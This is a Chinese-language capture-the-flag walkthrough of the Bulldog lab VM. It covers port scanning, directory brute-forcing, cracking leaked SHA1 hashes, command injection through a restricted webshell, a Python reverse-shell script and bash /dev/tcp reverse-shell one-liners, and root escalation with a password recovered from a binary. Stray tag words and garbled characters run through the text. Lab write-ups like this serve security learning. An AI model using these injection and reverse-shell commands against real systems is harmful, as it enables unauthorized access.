10. CTF綜合靶機滲透(三)

靶機說明

鬥牛犬工業公司最近將其網站污損,並由惡意德國牧羊犬黑客團隊擁有。這是否意味着有更多的漏洞能夠利用?你爲何不知道?:)php

這是標準的Boot-to-Root。你惟一的目標是進入根目錄並看到祝賀信息,你怎麼作取決於你!html

難度:初學者/中級,若是遇到困難,試着找出你能夠與系統交互的全部不一樣方式。這是我惟一的暗示;)python

目標

  • 提權到root權限並查看flagweb

運行環境

  • 這個靶機,做者建議在Virtualbox上運行。可是攻擊機kali在vm中。shell

  • 首先是網絡環境,將兩臺處於不一樣虛擬機軟件中的虛擬機配置到同一網卡下。django

  • Virtualbox設置爲橋接模式,橋接到物理的無線網卡bash

  • 只有一塊無線網卡連接到了互聯網,因此kali直接橋接,複製物理網絡便可。
  • 最後kali執行dhclient命令,請求分配ip,bulldog直接開機便可。網絡

信息收集

  • ip發現框架

kali安裝在vmware,做爲攻擊機,ip爲:ssh

bulldog靶機運行在virtualbox虛擬機上,在開機時,已經給出了ip地址:

  • 端口掃描

執行命令 nmap -sS 192.168.0.113

 

發現 23 , 80 , 8080 端口開放

  • 服務識別

執行命令 nmap -A -p 80,23 192.168.0.113 對23和80進行詳細探測

發現ssh服務和web服務,而且web服務爲python。

漏洞挖掘

  • 首先查看web,同時進行目錄探測 dirb http://192.168.0.113

 

 發現  /admin/auth/group , /admin/auth/user , /admin/login  , /dev/shell 等目錄

  • 對/admin/auth/group ,/admin/auth/user  進行訪問探測

發現都重定向到 /admin/login  的登錄頁面

  • 訪問admin登陸頁面,並進行了注入嘗試,沒有成功

  • 查看/dev/shell發現webshell不能使用

  • 查看/dev頁面的源碼發現提示

新系統不在使用php或任何CMS,而是使用Django框架開發。這意味着不太可能再找到網頁的注入漏洞,只能找Django框架漏洞;網站不使用php,無需再找php漏洞或者寫php木馬;

有明顯的英文提示:We'll remove these in prod. It's not like a hacker can do anything with a hash。

看到這個,常常作ctf的人,都能看出來,下一步就是hash碰撞

hash碰撞講解:https://www.cnblogs.com/xuanhun/archive/2012/01/01/2309571.html

  • 對hash進行碰撞,hash長度爲40位,能夠看出是sha1,即便不知道是哪一種hash,也能夠把每一個hash值,到CMD5嘗試碰撞解密:

而後hash碰撞,咱們得出密碼爲 bulldoglover ,可是咱們沒有用戶名

咱們再來分析源碼,發現了這個,咱們推測用戶名爲 sarah 

應爲哈希碰撞,後面的爲密碼

  • 利用碰撞出來的兩個密碼進行登陸嘗試利用sarah成功登陸

  • 此時webshell可使用

真是一箭雙鵰

獲取shell

  • 發現給出的webshell只能使用給定的幾個命令。嘗試命令注入。

 

  • python反彈shell   能夠進行命令注入,嘗試wget是否有權限。攻擊機kali執行命令  python -m SimpleHTTPServer 80 搭建簡易web服務。在webshell上執行命令  pwd&wget http://192.168.0.112。kali的日誌中發現訪問記錄

 

  • 在開啓python web服務的目錄下準備一個python shell
1 import socket,subprocess,os
2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3 s.connect(("192.168.0.113",1234))
4 os.dup2(s.fileno(),0)
5 os.dup2(s.fileno(),1)
6 os.dup2(s.fileno(),2)
7 p=subprocess.call(["/bin/bash","-i"])
  • 在命令執行頁面執行 pwd & wget http://192.168.0.112/pythonShell.py 本地日誌顯示成功下載

 

  • 本地進行nc監聽,執行 nc -lvp 1234

  • 在命令執行處執行 pwd & python pythonShell.py

成功得到shell

  • 反彈shell

(1) Windows攻擊機開啓nc監聽:nc -lvnp 4444

(2) 直接執行 ls && bash -i >& /dev/tcp/192.168.0.112/1234 0>&1 失敗,server報錯500。

(3) 嘗試屢次bash反彈,最後使用echo命令先輸出命令,再輸入到bash,反彈shell成功:

echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash

反彈得到shell成功

提高權限而且得到flag

  • 查看有哪些系統用戶 cat /etc/passwd, 發現須要關注的用戶有:bulldogadmin、django

 

  • 進入/home目錄,查看是否有其餘用戶,進入bulldogadmin

  • 查看他的命令歷史文件,意外發現一個隱藏目.hiddenadmindirectory

  • 該隱藏目錄存在兩個文件,一個note提示,一個可執行文件

  • 利用 strings 查看可執行文件中的字符

從以上字符中大體明白了程序的用途和用法

猜想多是密碼,應爲SUPER、 ulitimate、PASSWORD、youCANTget,這些都與最高權限帳號相關

你能夠把他們連到一塊兒正好是SUPERultimatePASSWORDyouCANTget

,H是來混淆咱們的,還好博主認識PASSWORD,咱們查看一下

通過測試,發現確實是密碼

最後讀取flag文件

  • 同時咱們也能夠提權

 su命令沒法執行

咱們執行執行python shell

sudo python -c import pty; pty.spawn("/bin/bash")'

而且輸入剛得到的密碼

 

 

  • 若是不解決沒法su,還記得有23端口的ssh,也可使用Xshell經過ssh登陸,登陸成功後執行sudo su - 提權並得到flag

用戶名:django

密碼:SUPERultimatePASSWORDyouCANTget 

不用猜想的密碼,改了django再登陸也能夠。

sudo su提權,密碼是:SUPERultimatePASSWORDyouCANTget

 

 

靶場思路回顧

1.目錄暴破出dev和admin頁面:

(1) 可暴破出dev頁面,該頁面源碼裏面有多個帳號的用戶名、郵箱、密碼sha1值。該頁面還連接到webshell命令執行頁面。

(2) 可暴破出admin後臺頁面,登陸密碼經過dev頁面破解sha1獲得。

2.繞過白名單限制,執行命令和反彈shell:繞過限制執行命令比較容易。反彈shell嘗試屢次使用bash反彈shell後成功,沒有嘗試py shell。

3.搜索系統中id爲1000之後的用戶的文件,能夠找到隱藏文件。

4.猜解root密碼很艱難。

總結

  • 難點和踩到的坑:

(1) 發現和破解sha1:在dev頁面查看源碼,發現多個用戶hash後,即便不知道是40位的sha1,也能夠直接去cmd5破解,系統會自動識別,能夠破解出2個帳號。若是用hashcat暴破sha1,須要強大的字段和較長的時間。

(2) 反彈shell應該有多種方法:第一個想到的是bash shell,也想到了python反彈shell。只嘗試了經過bash反彈shell,若是bash反彈不成功,可嘗試往系統echo文件,賦予+x執行權限,執行腳本反彈。也可嘗試Python是否可以反彈shell。

(3) 發現隱藏的包含root密碼的文件,經過搜索id爲1000以後的用戶文件,查看歷史命令,或者查看目錄,也可能找到。

(4) 猜解root密碼:這個是最難的,找到這個文件並不難,可是經過strings查看文件內容,而且拼接字符串爲root密碼,感受難度很大。

相關文章
相關標籤/搜索